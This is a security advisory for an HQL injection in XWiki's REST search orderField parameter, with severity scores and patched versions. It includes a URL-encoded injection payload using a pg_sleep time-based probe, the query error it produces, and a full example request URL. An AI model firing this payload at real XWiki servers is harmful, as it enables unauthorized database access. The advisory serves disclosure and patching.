CVE-2025-52472 is a low severity vulnerability with a CVSS score of 0.0. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
The REST search URL is vulnerable to HQL injection via the orderField parameter. The specified value is added twice in the query, though, once in the field list for the select and once in the order clause, so it's not that easy to exploit. The part of the query between the two fields can be enclosed in single quotes to effectively remove them, but the query still needs to remain valid with the query two times in it.
For example, with the following orderField parameter:
doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D'%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment'%20or%20a%3D'%20order%20by%20doc.fullName
See the following error:
QuerySyntaxException: unexpected token: $$ near line 1, column 518 [select distinct doc.fullName, doc.space, doc.name, doc.language, doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where (doc.hidden <> true or doc.hidden is null) and ($$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=') order by doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where ( (upper(doc.title) like :keywords) ) order by doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where $$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=' order by doc.fullName asc]
For reference, the full URL for the above error is:
http://localhost:8080/xwiki/rest/wikis/xwiki/search?q=test&scope=title&orderField=doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D%27%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment%27%20or%20a%3D%27%20order%20by%20doc.fullName
This has been patched in 17.5.0, 17.4.2, 16.10.9.
There is no known workaround, other than upgrading XWiki.
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